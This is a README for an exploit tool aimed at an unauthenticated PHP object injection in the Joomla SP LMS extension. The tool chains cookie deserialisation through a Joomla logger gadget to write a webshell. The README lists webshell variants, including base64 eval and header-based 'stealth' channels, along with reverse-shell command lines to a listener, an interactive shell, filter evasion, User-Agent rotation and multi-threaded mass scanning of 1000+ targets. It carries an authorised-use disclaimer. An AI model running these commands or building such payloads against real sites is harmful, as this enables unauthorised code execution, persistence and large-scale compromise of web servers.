CVE-2026-48909 - Unauthenticated PHP Object Injection to RCE exploit for Joomla SP LMS extension versions <= 4.1.3. Exploits lmsOrders cookie deserialization to write webshell via Joomla FormattedtextLogger gadget chain. Includes interactive shell, path discovery, and cleanup. For authorized security testing only.
Proof-of-concept assessment tool for CVE-2026-48909
Author: Sudeepa Wanigarathna
[!IMPORTANT] Authorized use only. This tool is for security research, education, and testing systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
CVE-2026-48909 is a critical unauthenticated PHP Object Injection in the Joomla SP LMS extension. This tool implements the full attack chain so security professionals can validate impact in lab or authorized environments.
It covers detection, path discovery, payload delivery, interactive post-exploitation (where permitted), mass assessment, and optional cleanup.
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (Critical) |
| Attack Vector | Network — unauthenticated |
| Impact | Remote Code Execution |
| Affected Product | Joomla SP LMS |
| Affected Versions | 1.0.0 – 4.1.3 |
| Patched Version | SP LMS 4.1.4+ |
| Gadget Chain | Requires Joomla < 5.2.2 |
| Component | Version | RCE |
|---|---|---|
| SP LMS | < 4.1.4 | Vulnerable |
| SP LMS | ≥ 4.1.4 | Patched |
| Joomla | < 5.2.2 | Gadget chain usable |
| Joomla | ≥ 5.2.2 | Gadget chain patched |
| Capability | Description |
|---|---|
| Unauthenticated exploit | No credentials required |
| Multiple payloads | 7 webshell / execution variants |
| Interactive shell | Command history session after deploy |
| Path discovery | Automatic writable path probing |
| Cleanup | Remove deployed webshell after tests |
| Capability | Description |
|---|---|
| Mass scanning | Multi-threaded target lists (1000+) |
| Proxy support | HTTP/SOCKS (Burp, ZAP, etc.) |
| Reverse shell | Listener-based payloads |
| Stealth mode | Header / POST-oriented command channels |
| Randomization | UUID shell names, User-Agent rotation |
| Reporting | Export as JSON, HTML, or CSV |
| Detection assists | Joomla version checks, --check-only, --safe-mode |
cmd filter where possiblepipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparseships with the Python standard library; it does not need to be installed via pip.
Replace
https://target.examplewith a lab or authorized target only.
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# Listener
nc -lvnp 4444
# Exploit host
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| Argument | Description |
|---|---|
target | Single target URL |
--targets, -T FILE | File of targets (one URL per line) |
--path PATH | Absolute server path for webshell |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Webshell filename (default: x.php) |
| Argument | Description |
|---|---|
--timeout SECONDS | Request timeout (default: 15) |
--insecure | Skip TLS certificate verification |
--proxy URL | e.g. http://127.0.0.1:8080 |
--random-ua | Rotate User-Agent (enabled by default) |
--delay SECONDS | Delay between requests |
| Argument | Description |
|---|---|
--reverse-host HOST | Listener host |
--reverse-port PORT | Listener port |
| Argument | Description |
|---|---|
--interactive, -i | Interactive shell after deploy |
--check-only | Vulnerability check only |
--safe-mode | Non-destructive testing |
--find-path | Auto-discover writable path |
--cmd COMMAND | Run one command and exit |
--cleanup PATH | Remove webshell at path |
--cleanup-after | Cleanup after exploitation |
| Argument | Description |
|---|---|
--threads NUM | Worker threads (default: 10) |
--export FILE | Output path for results |
--export-format FORMAT | json, html, csv (default: json) |
| Argument | Description |
|---|---|
--log-file FILE | Write logs to file |
--quiet, -q | Quiet mode |
--verbose, -v | Verbose output |
--no-banner | Hide banner |
| Type | Behavior | Typical use |
|---|---|---|
minimal | Compact GET-based execution | Tight space / quick test |
standard | GET + POST cmd (default) | General assessments |
stealth | Command via X-Cmd header | Reduce URL logging |
base64 | eval(base64_decode(...)) via POST | Filter evasion labs |
full | GET/POST + base64 channel | Broader control |
reverse | Connect-back shell | Persistent lab access |
blindshell | Alternate inclusion / execution pattern | Constrained environments |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
flowchart TD
A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — PHP drop"]
D --> E["Webshell on disk"]
E --> F["Remote command execution"]components/com_splms/models/cart.php unserializes a base64-decoded lmsOrders cookie.Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() triggers a filesystem write./, =, +).Joomla’s cmd filter may strip /, =, and +. This tool compensates by:
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
| Symptom | What to try |
|---|---|
| Could not generate filter-safe payload | Different --path, or --find-path; avoid unusual path characters |
| Shell verification failed | Raise --timeout; try --shell-type standard; confirm system() / similar not disabled; verify writability |
| Target does not appear vulnerable | SP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms present; inspect WAF blocks |
| HTTP 500 | --insecure, --timeout 30, review application/server logs |
| Proxy connection refused | Confirm proxy listening; URL scheme/host/port correct |
| TLS verification failed | Add --insecure for lab endpoints with broken certs |
# Verbose + file log
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# Through Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# Non-destructive first
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
exploit/
├── CVE-2026-48909 v3.0.py # Main tool (v3.0)
├── requirements.txt # Python dependencies
├── README.md # This file
└── venv/ # Local virtualenv (optional, not committed)
Optional additions for a public release:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
This project is provided as-is for defensive security research and authorized penetration testing.
By using this software you agree that:
If you discover this vulnerability in the wild, follow responsible disclosure practices and coordinate with the vendor / CERT where appropriate.
Sudeepa Wanigarathna
Security researcher · Ethical hacking · Vulnerability research · Python tooling
For authorized security testing only.